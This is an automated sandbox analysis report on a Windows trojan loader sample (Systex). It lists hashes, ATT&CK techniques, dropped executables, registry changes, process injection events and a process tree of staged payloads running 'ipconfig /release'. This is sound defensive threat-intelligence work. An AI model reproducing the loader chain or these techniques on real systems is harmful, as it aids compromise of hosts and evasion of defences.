systex | a22760196d65a7b1f4c6f34f073facc5f1d8f1cff28b07d73bc40e025809a7bd

Analysis

max time kernel
150s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/07/2026, 15:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260723-settla1fkc
SHA256 a22760196d65a7b1f4c6f34f073facc5f1d8f1cff28b07d73bc40e025809a7bd
MD5 d4d286398637302f1840aad33490b7e1
SHA1 8685b6486baab8bce0a87e4375049602d4a6c89d
SHA512 cee1ea15ca790e70945a174cd56d15277fa01fe4000ccdfa2988cad7dd9dee58cc36005f07b03b2e0c4619e2a47cb35456f02ede7d8d80bacdafdea3a8d558aa
SSDEEP 3072:JjtF1eNGL8tpdhJmaMOk4y3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/09:Btf7ZIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1EF847B00BAA4F0F6D995047800EFAF36A67E74281726CBC3E754CE5D9A113C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
604	kecwusmkecwupmhe.exe
3632	kecwusmkecwupmhe.sys
4548	CreateProcess.exe
2680	mkfzxsmkec.exe
2364	CreateProcess.exe
4672	CreateProcess.exe
3952	i_mkfzxsmkec.exe
2076	hbzurpjhcz.sys
1652	CreateProcess.exe
2516	trmjhbztro.exe
1428	CreateProcess.exe
1028	CreateProcess.exe
4652	i_trmjhbztro.exe
1684	mjebwtrmje.sys
1600	CreateProcess.exe
5652	geywrojgbz.exe
2060	CreateProcess.exe
1524	CreateProcess.exe
2972	i_geywrojgbz.exe
4924	jgbztrljdb.sys
4776	CreateProcess.exe
4856	geywqoigby.exe
700	CreateProcess.exe
3132	CreateProcess.exe
2072	i_geywqoigby.exe
2712	ywqoigayvt.sys
3620	CreateProcess.exe
3428	ywqoigaytq.exe
1948	CreateProcess.exe
1740	CreateProcess.exe
5300	i_ywqoigaytq.exe
4612	dywqoigayt.sys
4884	CreateProcess.exe
5020	qkigaysqli.exe
1728	CreateProcess.exe
3724	CreateProcess.exe
3764	i_qkigaysqli.exe
4288	ifdxvpnifa.sys
5900	CreateProcess.exe
2216	gaysqkidav.exe
6020	CreateProcess.exe
4104	CreateProcess.exe
3348	i_gaysqkidav.exe
1936	faxspnkfdx.sys
4124	CreateProcess.exe
5464	fcxvpnhfzx.exe
4220	CreateProcess.exe
4240	CreateProcess.exe
3532	i_fcxvpnhfzx.exe
4088	xupnhecxup.sys
2504	CreateProcess.exe
2732	zxrpjhczur.exe
5028	CreateProcess.exe
4476	CreateProcess.exe
4868	i_zxrpjhczur.exe
2928	uspkhfcwus.sys
2644	CreateProcess.exe
1624	rmkecwuomh.exe
6000	CreateProcess.exe
4636	CreateProcess.exe
5624	i_rmkecwuomh.exe
4148	urmjhbzurm.sys
952	CreateProcess.exe
1732	rojhezwrom.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_1072463194\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_187426798\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_187426798\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_280177968\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_798952730\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_798952730\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_280177968\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_280177968\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1504_280177968\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kecwusmkecwupmhe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trmjhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywrojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ljdbvtoljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dyvqoigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dyvqoigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trmjhbztro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gebwqojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cwtoljhezw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gaysqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ljdbvtoljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvpnifaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupmhezxro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkfzxsmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmkecwuomh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spnhfcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spnhfcxupn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fcxvpnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fcxvpnhfzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojhezwrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	geywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkigaysqli.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gaysqkidav.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gebwqojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhfzxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mkfzxsmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_geywrojgbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxrpjhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxrpjhczur.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojhezwrom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvpnifaxsp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupmhezxro.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqoigaytq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvpnifay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvpnifay.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5132	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
5404	ipconfig.exe
3552	ipconfig.exe
3492	ipconfig.exe
4116	ipconfig.exe
4324	ipconfig.exe
2856	ipconfig.exe
2728	ipconfig.exe
4504	ipconfig.exe
1556	ipconfig.exe
2380	ipconfig.exe
4824	ipconfig.exe
1100	ipconfig.exe
5948	ipconfig.exe
1608	ipconfig.exe
988	ipconfig.exe
2340	ipconfig.exe
1812	ipconfig.exe
2512	ipconfig.exe
5164	ipconfig.exe
4292	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134292925770085912"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4046655672-1449839301-2197395821-1000\{32C2F629-D396-4427-B6E5-339450AAADA5}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe
604	kecwusmkecwupmhe.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1504	msedge.exe
1504	msedge.exe
1504	msedge.exe
1504	msedge.exe
1504	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3952	i_mkfzxsmkec.exe
Token: SeDebugPrivilege	4652	i_trmjhbztro.exe
Token: SeDebugPrivilege	2972	i_geywrojgbz.exe
Token: SeDebugPrivilege	2072	i_geywqoigby.exe
Token: SeDebugPrivilege	5300	i_ywqoigaytq.exe
Token: SeDebugPrivilege	3764	i_qkigaysqli.exe
Token: SeDebugPrivilege	3348	i_gaysqkidav.exe
Token: SeDebugPrivilege	3532	i_fcxvpnhfzx.exe
Token: SeDebugPrivilege	4868	i_zxrpjhczur.exe
Token: SeDebugPrivilege	5624	i_rmkecwuomh.exe
Token: SeDebugPrivilege	3552	i_rojhezwrom.exe
Token: SeDebugPrivilege	4656	i_gebwqojgbz.exe
Token: SeDebugPrivilege	5516	i_ljdbvtoljd.exe
Token: SeDebugPrivilege	2476	i_dyvqoigays.exe
Token: SeDebugPrivilege	5372	i_fdxvpnifay.exe
Token: SeDebugPrivilege	3196	i_xvpnifaxsp.exe
Token: SeDebugPrivilege	5288	i_spnhfcxupn.exe
Token: SeDebugPrivilege	1492	i_pmhfzxrpjh.exe
Token: SeDebugPrivilege	464	i_xupmhezxro.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1504	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 604	3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 3272 wrote to memory of 4144	3272	2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 4144 wrote to memory of 1504	4144	iexplore.exe	91
PID 1504 wrote to memory of 3960	1504	msedge.exe	92
PID 1504 wrote to memory of 1208	1504	msedge.exe	93
PID 1504 wrote to memory of 5132	1504	msedge.exe	94
PID 1504 wrote to memory of 1208	1504	msedge.exe	93
PID 1504 wrote to memory of 1208	1504	msedge.exe	93
PID 1504 wrote to memory of 1388	1504	msedge.exe	95
PID 1504 wrote to memory of 1388	1504	msedge.exe	95
PID 1504 wrote to memory of 1936	1504	msedge.exe	97
PID 1504 wrote to memory of 1936	1504	msedge.exe	97
PID 1504 wrote to memory of 1936	1504	msedge.exe	97
PID 1504 wrote to memory of 5228	1504	msedge.exe	98
PID 1504 wrote to memory of 5228	1504	msedge.exe	98
PID 1504 wrote to memory of 5228	1504	msedge.exe	98
PID 1504 wrote to memory of 1368	1504	msedge.exe	99
PID 1504 wrote to memory of 1368	1504	msedge.exe	99
PID 1504 wrote to memory of 1368	1504	msedge.exe	99
PID 1504 wrote to memory of 2796	1504	msedge.exe	100
PID 1504 wrote to memory of 2796	1504	msedge.exe	100
PID 1504 wrote to memory of 2796	1504	msedge.exe	100
PID 1504 wrote to memory of 2304	1504	msedge.exe	104
PID 1504 wrote to memory of 2160	1504	msedge.exe	105
PID 1504 wrote to memory of 2304	1504	msedge.exe	104
PID 1504 wrote to memory of 2160	1504	msedge.exe	105
PID 1504 wrote to memory of 5380	1504	msedge.exe	107
PID 604 wrote to memory of 4548	604	kecwusmkecwupmhe.exe	108
PID 2680 wrote to memory of 2364	2680	mkfzxsmkec.exe	111
PID 604 wrote to memory of 4672	604	kecwusmkecwupmhe.exe	116
PID 604 wrote to memory of 1652	604	kecwusmkecwupmhe.exe	120
PID 2516 wrote to memory of 1428	2516	trmjhbztro.exe	122
PID 604 wrote to memory of 1028	604	kecwusmkecwupmhe.exe	125
PID 604 wrote to memory of 1600	604	kecwusmkecwupmhe.exe	129
PID 5652 wrote to memory of 2060	5652	geywrojgbz.exe	131
PID 604 wrote to memory of 1524	604	kecwusmkecwupmhe.exe	134
PID 604 wrote to memory of 4776	604	kecwusmkecwupmhe.exe	139
PID 4856 wrote to memory of 700	4856	geywqoigby.exe	141
PID 604 wrote to memory of 3132	604	kecwusmkecwupmhe.exe	144
PID 1504 wrote to memory of 3952	1504	msedge.exe	146
PID 1504 wrote to memory of 4580	1504	msedge.exe	147
PID 1504 wrote to memory of 1608	1504	msedge.exe	148
PID 604 wrote to memory of 3620	604	kecwusmkecwupmhe.exe	151
PID 3428 wrote to memory of 1948	3428	ywqoigaytq.exe	153
PID 604 wrote to memory of 1740	604	kecwusmkecwupmhe.exe	156
PID 604 wrote to memory of 4884	604	kecwusmkecwupmhe.exe	160
PID 5020 wrote to memory of 1728	5020	qkigaysqli.exe	162
PID 604 wrote to memory of 3724	604	kecwusmkecwupmhe.exe	165
PID 604 wrote to memory of 5900	604	kecwusmkecwupmhe.exe	169
PID 2216 wrote to memory of 6020	2216	gaysqkidav.exe	171
PID 604 wrote to memory of 4104	604	kecwusmkecwupmhe.exe	174
PID 604 wrote to memory of 4124	604	kecwusmkecwupmhe.exe	178
PID 5464 wrote to memory of 4220	5464	fcxvpnhfzx.exe	180
PID 604 wrote to memory of 4240	604	kecwusmkecwupmhe.exe	183
PID 1504 wrote to memory of 3172	1504	msedge.exe	185
PID 1504 wrote to memory of 3172	1504	msedge.exe	185
PID 604 wrote to memory of 2504	604	kecwusmkecwupmhe.exe	191
PID 2732 wrote to memory of 5028	2732	zxrpjhczur.exe	193
PID 604 wrote to memory of 4476	604	kecwusmkecwupmhe.exe	196
PID 604 wrote to memory of 2644	604	kecwusmkecwupmhe.exe	200
PID 1624 wrote to memory of 6000	1624	rmkecwuomh.exe	202
PID 604 wrote to memory of 4636	604	kecwusmkecwupmhe.exe	205
PID 1504 wrote to memory of 2376	1504	msedge.exe	207
PID 1504 wrote to memory of 2376	1504	msedge.exe	207

C:\Users\Admin\AppData\Local\Temp\2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-23_d4d286398637302f1840aad33490b7e1_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Temp\kecwusmkecwupmhe.exe
  C:\Temp\kecwusmkecwupmhe.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:604
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\mkfzxsmkec.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4548
  - - C:\Temp\mkfzxsmkec.exe
      C:\Temp\mkfzxsmkec.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2364
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_mkfzxsmkec.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4672
  - - C:\Temp\i_mkfzxsmkec.exe
      C:\Temp\i_mkfzxsmkec.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3952
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\trmjhbztro.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1652
  - - C:\Temp\trmjhbztro.exe
      C:\Temp\trmjhbztro.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2516
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1428
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3492
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_trmjhbztro.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1028
  - - C:\Temp\i_trmjhbztro.exe
      C:\Temp\i_trmjhbztro.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4652
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywrojgbz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1600
  - - C:\Temp\geywrojgbz.exe
      C:\Temp\geywrojgbz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5652
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2060
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywrojgbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1524
  - - C:\Temp\i_geywrojgbz.exe
      C:\Temp\i_geywrojgbz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\geywqoigby.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4776
  - - C:\Temp\geywqoigby.exe
      C:\Temp\geywqoigby.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4856
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4116
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_geywqoigby.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3132
  - - C:\Temp\i_geywqoigby.exe
      C:\Temp\i_geywqoigby.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2072
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ywqoigaytq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3620
  - - C:\Temp\ywqoigaytq.exe
      C:\Temp\ywqoigaytq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3428
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
